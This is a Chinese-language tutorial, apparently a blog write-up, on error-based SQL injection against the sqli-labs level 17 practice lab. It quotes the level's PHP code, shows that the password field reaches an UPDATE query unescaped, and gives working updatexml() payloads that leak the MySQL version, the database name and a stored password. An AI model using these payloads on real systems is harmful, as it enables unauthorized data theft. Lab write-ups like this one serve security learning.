错误注入是什么?就是让sql查询报错呗,从错误里面找想要的
接下来将以sqli-labs 17为例讲述sql报错注入
- 看源代码,为何要用错误注入
开头就来了一份函数
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
有个check就很让人警觉了,这究竟是是在查哪里呢?继续往下看
$uname=check_input($_POST['uname']); //好家伙还要检查
$passwd=$_POST['passwd'];
原来是要检查uname.
那要查哪里呢?
再回去看上面的check函数,我们写的uname要过几关呢?
第一关:
$value = substr($value,0,15);
只要输入的uname的前15个字符.
就是别输入太长呗,好说
第二关:
if (get_magic_quotes_gpc()) //注意php.ini里的get_magic_quotes_gpc()有没有开,如果开了就会进行字符检测
{
$value = stripslashes($value); //就给你把各自字符加/转义去掉
}
有点难度,不能用特殊符号了
第三关:
if (!ctype_digit($value)){
$value = "'" . mysql_real_escape_string($value) . "'"; //直接把MySQL敏感语句给删掉
}
好家伙,直接变成一句长字符了,连点标点符号都没了
不信,直接改源代码去看看变变成了什么
好家伙,这改的连我都认不出来了,看了这个程序员,为了select能够安全查询废了很大心思呢
那怎么办?就没有办法了吗?
那就看看passwd吧,欸?没有进行检测呢?
那就让我们看看,passwd用在那个函数里呢?
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
这么一看,passwd将用于update,这么一来,这个开发者的思路很明确了,先用select查一下这个用户在不在,再用update进行更改,只不过select风险高,不得让开发者不得不谨慎,到了后面的update,开发就懈怠了,不再对passwd进行检测,就让我们利用passwd进行报错注入
- 开始利用错误注入
由于是post提交,所以我们要用到chrome里的hackbar
我们进行修改xml报错来达到自己的目的
我们在这里用的是updatexml(doc,xpath,replace)函数
我们也可以用extractvalue(doc,xpath)函数,这个是xml查询语句,查询里面内容
updatexml是MySQL里面的修改xml文件的语句。
其中updatexml()要三个参数:
参数 | 功能 |
---|---|
doc | 要修改的xml |
xpath | 要修改的内容 |
replace | 要替换的地方 |
extractvalue()要两个参数
参数 | 功能 |
---|---|
doc | 要查询的xml文件 |
xpath | 要查询的内容 |
先来个版本检测小试牛刀
uname=admin&&passwd=admin' and updatexml(1 ,concat(0x7e,version(),0x7e),1) --+
concat函数是把里面的字符连接起来
0x7e是字符,在xml里面非法字符
vsesion则是检测数据库版本
直接变成数据库语句
UPDATE users SET password = '11' and updatexml(1,concat(0x7e,version(),0x7e),1)
所以我们能看出来这个报错语句~中间则是mysql版本
#1105 - XPATH syntax error: '~5.6.50-log~'
// 直接告诉你里面的句子不对
好了,那么接下来就很好理解了,我们围绕这个version()进行修改即可
uname=admin&&passwd=admin' and updatexml(1 ,concat(0x7e,database(),0x7e),1) --+
这不直接告诉你是那个数据库了
我们直接在里面来个select吧(还是绕不过select)
uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) --+
这就是admin单用户就的密码
从上面的过程,我们可以看出,利用updatexml返回的错误报告的格式,从而得到我们想要的数据